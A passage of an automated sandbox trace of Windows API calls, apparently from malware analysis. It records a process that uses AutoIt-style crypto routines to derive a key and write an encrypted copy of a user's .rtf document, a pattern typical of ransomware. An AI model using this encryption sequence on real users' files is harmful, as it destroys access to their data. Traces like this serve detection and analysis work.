lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.200] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.200] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.200] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.200] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.200] CryptCreateHash (in: hProv=0xe8f4199a20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.200] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.201] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.201] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.201] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.201] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.201] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.201] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.201] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.201] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b6c0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.201] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.201] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.201] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.201] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.201] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.201] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.201] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.201] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.201] CryptDeriveKey (in: hProv=0xe8f4199a20, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40625d0) returned 1 [0025.201] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.201] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.201] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.201] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.201] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.201] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.201] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.201] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.201] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0025.202] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.203] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.203] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.203] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.203] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.203] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.rtf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\k27yuqyogg7erx5ry.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.203] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.203] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.203] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.203] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.203] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.204] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7")) returned 0x10 [0025.204] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.encrypted.rtf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\k27yuqyogg7erx5ry.encrypted.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.204] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.204] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.204] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.204] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.206] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.206] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0025.207] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x93e, lpOverlapped=0x0) returned 1 [0025.207] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.209] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.209] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.209] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.209] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.210] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.210] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.210] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.210] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.210] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.211] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.211] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.211] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.211] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.211] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.211] CryptGetKeyParam (in: hKey=0xe8f40625d0, dwParam=0x7, pbData=0xe8f40649b0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f40649b0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.212] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.212] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.212] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.212] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.212] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.214] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.214] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1093e, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x10940) returned 1 [0025.214] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.214] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.214] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.214] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.214] CharLowerBuffW (in: lpsz="byte[67905]", cchLength=0xb | out: lpsz="byte[67905]") returned 0xb [0025.214] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.215] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.215] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.215] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.215] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41a09b0*, pdwDataLen=0xe8f3dfdf68*=0x1093e, dwBufLen=0x10940 | out: pbData=0xe8f41a09b0*, pdwDataLen=0xe8f3dfdf68*=0x10940) returned 1 [0025.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.215] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.215] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.215] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.215] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.215] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.216] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.216] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.216] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.216] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.216] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.216] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.220] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.220] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.220] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.221] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.221] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.221] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.221] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.221] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.221] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.221] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.221] CryptDestroyKey (hKey=0xe8f40625d0) returned 1 [0025.221] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.221] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.221] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: 